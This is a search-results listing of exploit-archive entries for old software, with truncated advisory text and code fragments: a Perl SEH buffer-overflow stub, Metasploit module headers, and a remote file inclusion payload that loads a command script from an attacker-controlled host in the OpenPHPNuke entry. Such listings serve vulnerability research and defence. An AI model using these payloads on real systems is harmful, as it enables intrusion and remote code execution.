56796 matches found
PHP 4.3 socket_iovec_alloc() Integer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/7187/info A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socketiovecalloc and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out...
AudioPLUS 2.00.215 (.lst & .m3u File) Local buffer Overflow (seh)
No description provided by source. !/usr/bin/perl by hack4love [email protected] AudioPLUS 2.00.215 .m3u / .lst File Local buffer Overflow seh Greetz to all my friends form egypt easy :d Tested on: Windows XP Pro SP2 EN my $bof=\x41 x 4116; my $nsh=\xEB\x06\x90\x90; my $seh=\xb8\x15\xd1\x72; ...
GAzie <= 5.20 Cross Site Request Forgery
No description provided by source. ======================================== GAzie = 5.20 Cross Site Request Forgery ======================================== Author: giudinvx Email: giudinvxatgmaildotcom Date: 5/02/2012 Site: http://www.giudinvx.altervista.org/...
OpenSSH/PAM <= 3.6.1p1 Remote Users Discovery Tool
No description provided by source. / SSHBRUTE - OpenSSH/PAM = 3.6.1p1 remote users discovery tool Copyright c 2003 @ Mediaservice.net Srl. All rights reserved Vulnerability discovered by Marco Ivaldi [email protected] Proof of concept code by Maurizio Agazzini [email protected] Tested...
Linkliste 1.2 Index.PHP Multiple Remote File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/26045/info Linkliste is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and t...
Fully Modded PHPBB2 PHPBB_Root_Path Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/23565/info Fully Modded PHPBB2 is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and th...
ERS Viewer 2013 ERS File Handling Buffer Overflow
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...
Ariadne CMS 2.4 - Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13206/info A remote file include vulnerability affects Ariadne CMS. This issue is due to a failure of the application to validate critical parameters before using them in a 'requireonce' function call. An attacker may...
FarsiNews 2.5.3 - Multiple Cross-Site Scripting Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/17701/info FarsiNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input. An attacker may leverage these issues to have...
Lynx 2.8.x Command Line URL CRLF Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/5499/info A CRLF injection vulnerability has been reported for Lynx that may allow an attacker to include extra HTTP headers when viewing web pages. If Lynx is called from the command line, carriage return and line feed...
British National Corpus SARA 0 Remote Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10984/info sarad is reported prone to a buffer overflow vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. A remote attacker can trigger the overflow condition by supplying a...
WikiWebHelp <= 0.3.3 Insecure Cookie Handling Vulnerability
No description provided by source...
Quicksilver Forums <= 1.4.2 RCE Exploit (windows only)
No description provided by source. Author: GiReX Homepage: girex.altervista.org Date: 24/11/2008 CMS: Quicksilver Forums = 1.4.2 Site: http://www.quicksilverforums.com/ Bug: Local File Inclusion Exploit: Remote Command Execution Note: Works with windows servers only Works regardless php.ini...
PC SOFT WinDEV 11 - WDP File Parsing Stack Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/24693/info PC SOFT WinDEV is prone to a stack-based buffer-overflow vulnerability when it attempts to process malformed project files. This issue occurs because the application fails to perform proper bounds-checking on...
PHP Server Monitor Stored XSS
No description provided by source. Author: loneferret of Offensive Security Product: PHP Server Monitor Version: 2.0.1 and maybe older versions Google Dork: intext=Powered by PHP Server Monitor v2.0.1 yes people have made this available on the web Software Download:...
Snort 2.8.5 Multiple Denial Of Service Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/36795/info Snort is prone to multiple denial-of-service vulnerabilities because the application fails to properly process specially crafted IPv6 packets. Attackers can exploit these issues to crash the affected applicatio...
3D-FTP 8.01 - 'LIST' and 'MLSD' Directory Traversal Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/29749/info 3D-FTP is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input data. Exploiting these issues allows an attacker to write arbitrary files to locatio...
dotWidget for articles 2.0 admin/editconfig.php Multiple Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/18479/info dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issu...
Cain & Abel 4.9.23 (rdp file) Buffer overflow Exploit
No description provided by source. exploit.py print print !R4Q!4N H4CK3R print Cain & Abel 4.9.23 rdp file Buffer overflow Exploit print By:Encrypt3d.M!nd print encrypt3d.blogspot.com print print Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder..and all my friends print This is exploit for my PoC pri...
Intellinet IP Camera MNC-L10 Authentication Bypass Vulnerability
No description provided by source. by Magnefikko Discovered: 25.01.2009 Publication: 01.08.2010 [email protected] Promhyl Studies :: http://promhyl.tk Inj3ct0r Team :: http://inj3ct0r.com Subgroup: PRekambr Name: Intellinet IP Camera Admin Access Platform: Intellinet IP Camera MNC-L10 and othe...
Quick Classifieds 1.0 - style/default.scheme.inc DOCUMENT_ROOT Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/28417/info Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the applicati...
Honey Soft Web Solution Multiple Vulnerabilities
No description provided by source. ----------------------------------------------------------------------------------------- Honey Soft detail.php?proddetail= & products.php?catid= SQL-i/XSS Multiple Vulnerabilities...
Xmame <= 0.102 (-pb/-lang/-rec) Local Buffer Overflow Exploit
No description provided by source. / xmame-expl.c by sj [email protected] On 20th of Jan it came to my attention that Xmame suffered from several buffer overflow problems. Thinking this issue was resolved, I installed Xmame on my Ubuntu laptop, from the Ubuntu repositories which installed a vulnerable...
PHP Blue Dragon CMS 2.9.1 - Multiple Remote File Include Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/18609/info PHP Blue Dragon CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application. An attacker may leverage these issues to have an...
PHP-Address 0.2 e Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/5039/info PHP-Address is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP...
Bloq 0.5.4 rdf.php page[path] Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/20512/info Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to compromise the application and the...
Microsoft Outlook Express 6.0 - Remote Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10144/info Microsoft Outlook and Outlook Express have been reported prone to a remote denial of service vulnerability. The issue is reported to present itself when a NULL is encountered in the message body of an e-mail. I...
Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow
No description provided by source. $Id: milleniummp3pls.rb 10477 2010-09-25 11:59:02Z mc $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of us...
C'Nedra 0.4 Network Plug-in Read_TCP_String Remote Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13781/info C'Nedra Network Plug-in is prone to a remotely exploitable buffer overflow vulnerability. The issue exists in the 'gamemessagefunctions.cpp' source file and is due to inadequate bounds checking of user-supplied...
ASP-DEV XM Events Diary 'cat' Parameter SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/32809/info ASP-DEV XM Events Diary is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...
InstantSoftwares Dating Site Login SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/27080/info InstantSoftwares Dating Site is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacke...
Multiple D-Link Routers UPNP Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/19006/info D-Link wired and wireless routers are prone to a buffer-overflow vulnerability because these devices fail to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer...
Eyeball MessengerSDK 'CoVideoWindow.ocx' 5.0.907 ActiveX Control Remote Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/30424/info The 'CoVideoWindow.ocx' ActiveX control of Eyeball MessengerSDK is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. An attacker c...
Quick 'n Easy FTP Server 3.2 - Denial of Service
No description provided by source. Exploit Title:DOS LOGIN Quick 'n Easy FTP Server 3.2 Date:28/2/2011 Author: clshack Software Link: http://www.pablosoftwaresolutions.com/html/quickneasyftpserver.htmlhttp://downstairs.dnsalias.net/homeftpserver.html Version:1.12 Tested on: windows xp sp3 en CVE ...
Drupal < 4.7.6 - (post comments) Remote Command Execution Exploit (2)
No description provided by source. !/usr/bin/perl $Id: milw0rmdrupalv4.pl,v 0.2 2007/02/15 13:28:29 str0ke Exp $ milw0rmdrupalv4.pl - Drupal 4.7.6 Remote Command Execution Exploit Copyright c 2007 str0ke str0ke!milw0rm.com Description ----------- Previews on comments were not passed through norma...
Wav Player 1.1.3.6 .pll Buffer Overflow Exploit
No description provided by source. Exploit Title: wav player 1.1.3.6 .pll Buffer Overflow Date: 12/09/2011 Author: Ivan Garcia Ferreira Version: 1.1.3.6 Tested on: Windows 7 SP1 x86 Spanish Description: Wav player can not handle properly large playlists more than 1G. Reproduce: Open the wav playe...
Microsoft Internet Explorer Option Element Use-After-Free
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...
PHP-Nuke 8.0 autohtml.php Local File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/26807/info Dance Music is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized remote user to view files and execute local...
Gforge <= 4.6 rc1 (skill_edit) SQL Injection Vulnerability
No description provided by source. Gforge = 4.6 rc1 skilledit SQL injection Vendor Notified: 2008-10-06 Impact: zomg! Note: should work regardless magicquotesgpc setting. Requires: Creating an account and be logged in Vulnerable function: handlemultiedit$skillids on /www/people/skillsutils.php...
Simpnews 2.x admin/index.php Unspecified XSS
No description provided by source. source: http://www.securityfocus.com/bid/20714/info SimpNews is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data. An attacker may leverage these issues to have arbitrary script code execute...
BOINC 5.10.20 forum_forum.php id Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/25644/info BOINC Berkeley Open Infrastructure for Network Computing is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data. An attacker may leverage...
XChat <= 2.6.7 (win version) Remote Denial of Service Exploit (perl)
No description provided by source. !/usr/bin/perl rewritten because perl is more elegant than php payload taken from original that ratboy submitted use strict; use Net::IRC; my $nick, $server, $port, $channel, $victim = @ARGV; my $irc = new Net::IRC; my $connect = $irc - newconn Nick = $nick,...
Planet 2.0 HTML Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/36392/info Planet is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code...
Novell GroupWise 7.0 - HTML Injection and Denial of Service Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/28944/info Novell GroupWise is prone to an HTML-injection vulnerability and a denial-of-service vulnerability. By exploiting the HTML-injection vulnerability, attackers can execute HTML and script code in the context of t...
k_fileManager <= 1.2 (dwl_include_path) Remote Inclusion Vulnerability
No description provided by source. ================================================================= KfileManager v1.2 = dwlincludepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site :...
e107 CMS 0.7 - Multiple Cross-Site Scripting Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/28917/info e107 CMS is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the...
iScripts CyberMatch 1.0 - Blind SQL Injection Vulnerability
No description provided by source. iScripts CyberMatch 1.0 Blind SQL Injection Vulnerability Name iScripts CyberMatch Vendor http://www.iscripts.com Versions Affected 1.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmail dot com Date...
openphpnuke <= 2.3.3 - Remote File Inclusion Vulnerability
No description provided by source. Title: OpenPHPNuke = 2.3.3 Remote File Inclusion URL: http://www.openphpnuke.com/ Dork: inurl:/system/article/alltopics.php OR inurl:/system/user/index.php Credits: Oo Exploit: /master.php?rootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-04-29...
Yoast Google Analytics for WordPress Plugin 3.2.4 404 Error Page Cross Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/37209/info Yoast Google Analytics for WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary...
Neon WebDAV Client Library 0.2x Format String Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/10136/info It has been reported that the Neon client library is prone to multiple remote format string vulnerabilities. This issue is due to a failure of the application to properly implement format string functions...